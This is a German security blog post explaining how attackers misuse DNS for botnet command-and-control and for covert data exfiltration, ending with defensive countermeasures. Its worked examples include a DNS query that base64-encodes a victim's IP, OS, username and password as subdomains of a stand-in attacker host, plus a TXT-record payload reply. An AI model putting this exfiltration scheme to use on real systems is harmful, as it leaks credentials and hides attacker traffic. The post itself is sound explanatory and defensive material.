Wozu der DNS Dienst missbraucht werden kann
Immer wieder wird der DNS Dienst als Kommunikationskanal missbraucht. In Botnetzen erfolgt die Kommunikation zwischen dem Server und dem kompromittierten Client teilweise über den DNS Dienst. Diese Kommunikation zwischen Client und Server kann auch dazu verwendet werden Daten zu und von dem Client zum Server zu transportieren. Hier spricht man von infiltrieren und exfiltrieren von Daten. Es können über diesen Weg auch Nutzdaten übertragen werden – in diesem Fall meist Schadcode, wie Erpressungstrojaner.
Die generelle Arbeitsweise des DNS Dienstes habe ich in einem anderen Artikel (vgl.: hier) bereits beschrieben. Ergänzt um technische Möglichkeiten diesen Dienst vertrauenswürdig zu gestalten.
Ohne DNS, dem „Telefonbuch“ des Internets, geht heutzutage fast gar nichts. Der DNS bietet sich durch seine starke Verbreitung und Benutzung als Werkzeug förmlich an. Ein Werkzeug, das man weit über seinen eigentlichen Zweck hinaus, einsetzen kann. In diesem Fall kann man sogar von Hacking des DNS Dienstes sprechen, wenn die Kommunikation über den definierten Zweck hinausgeht. Techniken dazu sind nicht nur bekannt, sondern es gibt einige Lösungen von der Stange. Wie zum Beispiel Iodine mittels dem man TCP Pakete über UDP, als DNS Pakete getarnt, übermitteln kann.
Neben den bereits genannten Werkzeug gibt es noch etliche andere mit dem selben, oder ähnlichen Einsatzzweck. Ziel ist es die eigentliche Kommunikation zu verschleiern und damit Richtlinien und Regeln zu umgehen. Ein Einsatzzweck kann zum Beispiel ein registrierungspflichtiges WLAN sein, wie es auf Flughäfen und Hotels oft der Fall ist. Dort ist in der Regel der DNS Verkehr nicht gefiltert und gesperrt.
DNS Arbeitsweise
DNS verwendet den Anschluss 53 (vgl.: Port 53), der in der Regel auf allen Systemen offen und verfügbar ist. Das betrifft vor allem Filter, wie Firewalls, um dem Client eine Namensauflösung zu ermöglichen. Dafür wird das verbindungslose Protokoll UDP verwendet. Dieses besitzt keinen Fehlerkorrekturmechanismus, dafür ist es auf Geschwindigkeit und geringe Ressourcenverwendung ausgelegt. Neben der fehlenden Flusskontrolle und Fehlerkorrektur gibt es auch keine Integritätskontrolle.
Wenn eine DNS Abfrage fehl schlägt, dann wird diese wiederholt und zeitweise nach ein etlichen Fehlversuchen vielleicht das TCP Protokoll benutzt. TCP kann und wird auch benutzt, wenn die UDP „Paketgröße“ (vgl.: datagram size) von standardmäßigen 512 Bytes überschritten wird – systemabhängig natürlich.
Ist nun ein Mal der Name zur IP Adresse ermittelt, dann hilft hier auch ein (lokaler) Zwischenspeicher (vgl.: Cache). Der Zwischenspeicher ist zeitlich und mengenmäßig begrenzt und ist normalerweise auf dem lokalen System, wie auch allen involvierten Systemen – Servern – vorhanden. In diesem Zeitraum werden Anfragen zu dem selben Namen direkt aus dem nächsten Zwischenspeicher beantwortet und nicht mehr vom zuständigen DNS. Alle darauf aufbauende Protokolle können erst ab dem Zeitpunkt der Auflösung IP Adresse zu Namen ihre Arbeit aufnehmen. Das zeigt die Wichtigkeit der Zuverlässigkeit des Dienstes DNS. Betroffene Dienste können sein der Webbrowser, um eine Seite anzuzeigen, aber auch der Mailserver, um eine Mail auszuliefern und so ziemliche alle anderen Anwendungsfälle auch. Seien es auch nur die Fotos der letzten Firmenveranstaltung als Link an die Kollegen zu versenden – das geht nur mit einem DNS im Regelfall.
Das erklärt auch, warum der DNS Verkehr ein dauerhaftes „Rauschen“ im Netzwerk verursacht. Dieses „Rauschen“ kann sich nun auch ein Angreifer zu Nutze machen, um seine Pakete in diesem Meer an Daten untergehen zu lassen. Das macht es ungemein schwer verdächtige Pakete im DNS Verkehr zu erkennen und diese vor allem von regulären, zulässigen, zu unterscheiden. Hier habe ich vor allem gute Erfahrung mit zeek und RITA gemacht. (Anm.: näheres ist hier nachzulesen)
Spuren
Da der DNS Dienst unerlässlich für alle höheren Protokolle, wie HTTP, ist, erzeugt er auch grundlegende Informationen zum Benutzerverhalten. Das sind die Spuren des Benutzers und die mögliche Grundlage für Verhaltensanalysen. Die Spuren hinterlässt man immer, egal ob man zum Beispiel eine Webseite über eine Suchmaschine, oder direkt, aufruft. Je mehr Systeme an der Namensauflösung beteiligt sind – Stichworte Zwischenspeicher und autoritative Antwort – des größer ist die Zahl der Empfänger dieser sensiblen Daten. Diese Information wird förmlich im Internet offen und unverschlüsselt verteilt.
Schauen wir uns die Serverseite an. DNS Server können, wie alle anderen Dienste auch, Protokolldateien anlegen und führen. Es kann auch sein, dass der Betreiber dieses Dienstes – DNS – dazu gesetzlich verpflichtet ist Nachweis über Verbindungen zu führen. Diese Protokolldateien können in unterschiedlichen Detailgraden geführt werden. So weit so gut. Die anfragende IP Adresse kann entweder der Client sein, oder aber auch ein anderer DNS, der diese Anfrage weiterleitet. Nur der letzte DNS in der Abfragekette sieht und kennt die Client IP Adresse. Auf alle Fälle sieht man aber die Abfrage selbst und die Antwort darauf durch den zuständigen Server, oder entsprechend die zwischengespeicherte Antwort.
DNS tunneln
Mit einem Grundwissen und -verständnis, wie DNS funktioniert können wir nur etwas genauer betrachten, wie dieses „Tunneln“ funktioniert. Im folgenden Abschnitt möchte ich das anhand eines Botnetzes beschreiben. Genauer gesagt geht es um die die Kommunikation zwischen einem „command & control“ (vgl.: C2) Server mit seinem Client, um Daten ein-, oder aus-, zuschleusen.
Command & Conquer
Der Angreifer verfolgt zwei Ziele, wenn er den DNS als C2 Kommunikationskanal benutzt. Grundlegend kann er damit die Verfügbarkeit des kompromittierten Systems feststellen und darauf aufbauend „seine“ Nutzlast an den kompromittierten Client übergeben. In der Nutzlast ist der Schadcode, um den Client zu kompromittieren. Damit wird der Client zu einem ferngesteuerten Rechner, dem Bot.
Eine normale DNS Abfrage sieht nicht vor Client Eigenschaften, wie Hostnamen, Betriebssystem, etc. zu übergeben. Sie sind für eine Namensauflösung nicht notwendig. Für einen Angreifer sind solche Informationen aber sehr wohl von Interesse, damit kann er dann zielgerichtet vorgehen bei Bedarf.
Die Abbildung 1 zeigt den Ablauf der Kommunikation zwischen Bot und C2 Server. Wie schon weiter oben erwähnt ist es sinnvoll für den Angreifer zu wissen welcher Client sich bei Ihm aktiv meldet. Das kann zum Beispiel so umgesetzt werden, dass die Daten in die Anfrage eingebaut werden.
Client Daten:
IP Adresse 192.168.0.1
Betriebssystem Windows 10
Benutzername Stefan
Passwort passw0rd
Damit man nicht Gefahr läuft Zeichen zu verwenden, die der DNS nicht versteht codiert man die Information noch mit Base64 und als Trenner verwendet man den Bindestrich. Fertig ist die Abfrage nach einem A-Record.
DNS Request – Schritt 1 und 2 in der Abbildung:
Type: A
Query: MTkyLjE2OC4wLjE=-V2luZG93cyAxMA==-U3RlZmFu-cGFzc3cwcmQ=-.bad.at
DNS Reply – Schritt 3 und 4 in der Abbildung:
Type: A
Code: NXDOMAIN
Der C2 Server liefert als DNS Antwort zwar ein NXDOMAIN (vgl.: Domäne ist nicht vorhanden) zurück, aber der Client hat seine Einsatzbereitschaft gemeldet. Die Protokolldateien der vermittelnden Server – DNS Provider in Abb1. – enthalten auch alle übertragenen Daten des Clients. Da DNS Kommunikation oft unverschlüsselt erfolgt, sind diese Daten somit schon kompromittiert.
Unwegbarkeiten
Der Weg nach draussen über den DNS ist limitiert mit 512 Byte Länge pro Anfrage. Von der Gesamtlänge ist nicht nur der Protokolloverhead zu beachten, sondern auch die Länge der verwendeten Domäne. Je kürzer der verwendete Domänen Name ist, desto mehr Information kann transportiert werden. Dann spielt auch die Latenzzeit eine wesentliche Rolle. WLAN im Flugzeug liegt so zwischen 0,7 bis über 1 Sekunde Latenzzeit (vgl.: WLAN Performance im Flugzeug), das heisst bei einem Kurzstreckenflug – Wien-Berlin – wird sich dieser Artikel nicht übertragen und lesen lassen. Deswegen ist die Kompromittierung und Steuerung via DNS nur der erste Schritt und effizientere Übertragungskanäle werden bei Bedarf aktiviert.
Einschleusen
Das Einschleusen von Code benutzt genauso wie die Statusmeldung des Clients den DNS Dienst. Der Unterschied ist die Abfrageart. Wenn als Abfrageart TXT verwendet wird, dann kann damit Programmcode, ein Kommando, oder auch Binärcode übergeben werden. Im Gegensatz zur Abfrageart „A“, der IP v4 Adresse des Clients, ist die Abfrageart „TXT“ ein Freitext, der eine Beschreibung als Antwort liefern soll.
Unterschied im Inhalt der Abfrage ist jetzt, dass von Serverseite der Schadcode ausgeliefert wird. Der kann verschiedene Inhalte haben. Vom Löschen und Beseitigen der Spuren bis zum Aktivieren eines verschlüsselten Übertragungskanals.
DNS Request – Schritt 1 und 2 in der Abbildung:
Type: TXT
Query: MTkyLjE2OC4wLjE=-V2luZG93cyAxMA==-U3RlZmFu-cGFzc3cwcmQ=-.bad.at
DNS Reply – Schritt 3 und 4 in der Abbildung:
Type: TXT
Code: K0FGcy1yYW5kb20gNCBkaWdpdHMrQUYwLUlEK0FGcy11bmlxdWUgaWRlbnRpZmllcitBRjAtLStBRnMtbnVtYmVyIG9mIEROUyBxdWVyaWVzIG5lZWRlZCtBRjAtLStBRnMtc3RyaW5nIG9mIGhleGFkZWNpbWFsIGJ5dGVzIGZvciBzZW50IGRhdGErQUYwLS0rQUZzLXN0cmluZyBvZiBoZXhhZGVjaW1hbCBieXRlcyBmb3IgZmlsZW5hbWUgYmVpbmcgc2VudCtBRjAucHJvc2FsYXIrQUZzLitBRjAtY29t
Die Antwort ist auch wieder Base64 codiert. Der Client liefert in seiner Anfrage seine Identifikationsdaten mit. In der Realität werden andere Identifizierungsmerkmale, wie UUID verwendet, damit eine Eindeutigkeit festgestellt werden kann. Wie auch schon vorher erfolgt die Kommunikation zumindest verschleiert, aber nicht verschlüsselt vor aller Augen, in diesem Fall in den Protokolleinträgen aller beteiligter Server.
Um nicht immer aktiv zu sein und deswegen früher entdeckt zu werden können Teile des Schadcodes anlassbezogen aktiviert werden. Wenn die Antwort aus dem ersten Beispiel nicht NXDOMAIN ist, sondern NOERROR, dann kann zum Beispiel ein erster Teil aktiviert werden. Der Teil des Schadcodes erwartet nun die „IP-Adresse“, die für Ihn ein Steuercode ist. Die IP Adresse wird in diesem Fall verwendet, um Parameter zum Beispiel zu übertragen. Es gibt 4.294.967.296 IP v4 Adressen, also genug Auswahl, Optionen zu übertragen. Zum Beispiel kann man im ersten Oktet auf Befehle und Anweisungen referenzieren, die Informationen sammeln, im zweiten Oktet auf Befehle und Anweisungen referenzieren, um Code nachzuladen und auszuführen. Bei etwa 4,2 Milliarden Möglichkeiten ist eher die Phantasie das begrenzende Element. Die Verwendung von DNS Antworten und Codierung von Befehlen und Anweisungen ist auch eine Schwachstelle des Angreifers. So lange die Kommunikation nicht in einer verschlüsselten Punkt zu Punkt Kommunikation erfolgt kann die Integrität nicht gewährleistet werden. Da setzen auch Verteidigungsmechanismen an.
Schlussbemerkung
DNS ist ein offener und flexibler Dienst, der fast überall als Basis für andere Funktionalitäten, wie Webseiten und Email dient. DNS ist die Kommunikationsgrundlage der modernen Kommunikation heutzutage. Vom Gesichtspunkt der Sicherheit – Vertraulichkeit, Integrität und Verfügbarkeit – gibt es noch Möglichkeiten und Vorschläge diese zu steigern. Wie meistens geht das zu Lasten der Bedienbarkeit, Abstimmungs- und Konfigurationsaufwands.
Aus diesem Grund ist DNS, als eines der ältesten Protokolle, sehr freizügig und damit verwundbar, aber immer noch im Einsatz. Daran wird sich auch nichts ändern, ausser, dass in die Sicherheit der Kommunikation an einigen Stellen zumindest investiert wird. Die letzte Meile zwischen Client und seinem DNS wird davon noch lange nicht betroffen sein. Das macht diese Methode vor allem interessant.
Als Organisation kann man sich dagegen mit einigen Maßnahmen schützen. Es gibt sowohl kommerzielle Produkte und auch Open Source Werkzeuge, die man dazu einsetzen kann.
- Internen Netzwerkverkehr analysieren und nach regelmäßigen Verbindungsaufbauten (vgl.: DNS Request) suchen.
- Fragwürdige DNS Abfragen – wie lange Subdomainnamen. (Es gibt Anbieter die diesen Mechanismus verwenden, wie zum Beispiel Citrix)
- Blockieren von IP Adress Bereichen und örtlichen Bereichen auf Grund Ihrer Reputation
- Fragwürdige DNS Abfragen anhand Länge, Typ und Größe
- Einsatz DNSSEC, DANE …
- Filterung von Domänen, der Zertifikat jünger als 24 Stunden ist. (Es kommt immer wieder vor, dass SSL Zertifikate für Subdomänen gelöst werden, die nichts mit der ursprünglichen Domäne zu tun haben. In der „Latenzzeit“ bis zu deren Löschung, Widerruf, können diese eingesetzt werden. Google führt dazu eine Liste, die über eine Schnittstelle abfragbar ist.)
Weiterführend Information bietet natürlich das ATT&CK Rahmenwerk von Mitre an. Vor allem die Techniken,
2 Gedanken zu „Cyber Security – DNS II“